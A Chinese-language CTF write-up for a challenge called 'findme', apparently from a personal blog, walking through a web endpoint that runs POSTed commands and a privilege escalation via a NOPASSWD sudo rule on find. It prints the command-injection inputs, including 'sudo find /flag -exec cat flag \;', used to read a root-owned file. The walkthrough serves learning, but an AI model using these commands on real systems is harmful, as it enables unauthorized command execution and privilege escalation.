findme

本文最后更新于:2023年6月5日 下午

findme

我们访问网站发现如下提示:

1
Please POST 'shit' to /cmd

提示我们需要post请求提交参数,访问 /cmd 目录

image-20230401212433415

提示在环境变量中没有发现ls命令,于是我们使用绝对路径:

image-20230401212627339

查看到了flag在根目录下面,于是我们使用 :

1
shit=/bin/cat flag
image-20230401212818951

提示我们没有权限,于是我们使用命令:

1
shit=/usr/bin/sudo -l

sudo -l 会显示出sudo使用者的权限

image-20230401213116794

提示当前用户:ctf/usr/bin/find 使用sudo可以不需要密码(NOPASSWD)

linux中sudo免密码

我们查看一下根目录下 start.sh 内容:

1
shit=/bin/cat start.sh

start.sh

1
2
3
4
5
6
7
#! /bin/bash


useradd ctf
echo "ctf ALL=(root) NOPASSWD: /usr/bin/find" > /etc/sudoers.d/ctf && chmod 0440 /etc/sudoers.d/ctf # 此处给个findNOPASSWD,并修改权限

su - ctf -c "/main"

根据以上分析,我们需要知道find命令还可以命令执行

例如:

1
find flag -exec cat f* \;   # 在bash环境下有特殊意义,因此利用反斜杠来转义

在当前目录下找到flag文件,并且执行命令:cat f*

-exec和 ;之间就是find后的额外命令

因此,我们可以使用sudo提权find,查看flag文件内容:

1
shit=/usr/bin/sudo find /flag -exec cat flag \;
image-20230401214440555

findme
https://leekosss.github.io/2023/08/24/findme/
作者
leekos
发布于
2023年8月24日
更新于
2023年6月5日
许可协议